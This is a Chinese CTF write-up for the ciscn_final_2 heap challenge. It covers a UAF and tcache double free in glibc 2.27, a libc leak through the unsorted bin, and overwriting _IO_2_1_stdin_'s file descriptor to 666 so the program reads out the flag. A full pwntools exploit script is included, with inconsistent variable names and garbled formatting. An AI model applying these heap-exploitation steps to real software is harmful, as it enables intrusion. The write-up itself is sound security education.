image.png
保护全开
buu上给的是libc2.27,所以double free是默认可以的。

审计

delete函数这里存在一个uaf漏洞
image.png
show函数这里show_time,也就是说只能打印三次,而且打印出来的都是低字节几位
image.png
allocated函数这里固定分配函数内存
image.png
init函数这里
image.png
dup2函数是复制文件描述符,把flag文件的描述符改为了666

  1. /proc/pid/fd

可以查看当前文件描述符,一般程序有0 1 2 stdin stdout stderr这样
image.png
可以看到这里多了一个666就是dup2函数把flag文件描述符给改了
同时程序还开了沙箱,所以one_gadget是不大现实了
bye函数
image.png

漏洞分析

tcache机制

由于固定分配了函数内存大小,所以我们单靠内存大小来变成unsortedbin来泄露内存是不可能了,所以这里就涉及到另外的知识,tcache一条链上只能有7个,当超过7个时就会进入unsortedbin 和smallbin中

  1. #include <stdlib.h>
  2. #include <stdio.h>
  3. int main(int argc , char* argv[])
  4. {
  5. long* t[7];
  6. long *a=malloc(0x100);
  7. long *b=malloc(0x10);
  8. long *c=malloc(0x40);
  9. // make tcache bin full
  10. for(int i=0;i<7;i++)
  11. t[i]=malloc(0x100);
  12. for(int i=0;i<7;i++)
  13. free(t[i]);
  14. free(a);
  15. free(b);
  16. free(c);
  17. // a is put in an unsorted bin because the tcache bin of this size is full
  18. printf("%p\n",a[0]);
  19. }

所以我们用这个机制就可以泄露出main_arean的地址然后就可以得到libc的地址

IO_2_1_stdin

scanf会用到这个结构体,如果我们劫持了这个结构体,把文件描述符改为666就能从flag中读取内容然后通过printf打印出来了

  • 通过unsorted和uaf泄露出libc的地址
  • 劫持IO_2_1_stdin为666
  • 用double free漏洞劫持程序的执行流到我们想去的地方 ```python from pwn import* context.log_level=’debug’ io = process([‘./ciscn_final_2’],env={“LD_PRELOAD”:”./libc-2.2764.so”})

    io = remote(“node4.buuoj.cn”,”29097”)

    elf =ELF(‘./ciscn_final_2’) libc = ELF(“./libc-2.2764.so”) def debug(): gdb.attach(io) pause() def add(choice,value): io.recvuntil(“> “) io.sendline(“1”) io.recvuntil(“>”) io.sendline(str(choice)) io.recvuntil(“your inode number:”) io.sendline(str(value)) def free(choice): io.recvuntil(“> “) io.sendline(“2”) io.recvuntil(“>”) io.sendline(str(choice))

def show(choice): io.recvuntil(“> “) io.sendline(“3”) io.recvuntil(“>”) io.sendline(str(choice)) if choice ==1: io.recvuntil(“your int type inode number :”) if choice ==2: io.recvuntil(“your short type inode number :”) return int(io.recvuntil(“\n”,drop=True)) def leave(value): io.recvuntil(“> “) io.sendline(“4”) io.recvuntil(“what do you want to say at last? “) io.sendline(value) add(1,0x30) free(1) add(2,0x20) add(2,0x20) add(2,0x20) add(2,0x20)

debug()

free(2)

debug()

double free

add(1,0x30) free(2)

debug()

offset= show(2) - 0xa0 log.success(“offset:”+hex(offset)) add(2,offset) add(2,offset) add(2,0x91) for i in range(7): free(1) add(2,0xa0) free(1) libcbase = show(1) -4111520 log.success(“libcbase:”+hex(libcbase)) I02_1_stdin_addr = libcbase + libc.sym[‘_IO_2_1_stdin‘] + 0x70 add(1,I0_2_1_stdin_addr) add(1,0xb0)

debug()

free(1) add(2,0x20) free(1)

debug()

pre_chunk= show(1) - 0x30 log.success(“pre_chunk”+hex(pre_chunk))

debug()

add(1, pre_chunk) add(1, 0xc0) add(1, 0)

debug()

add(1, 666)

debug()

io.recvuntil(“> “) io.sendline(“4”) io.interactive() ```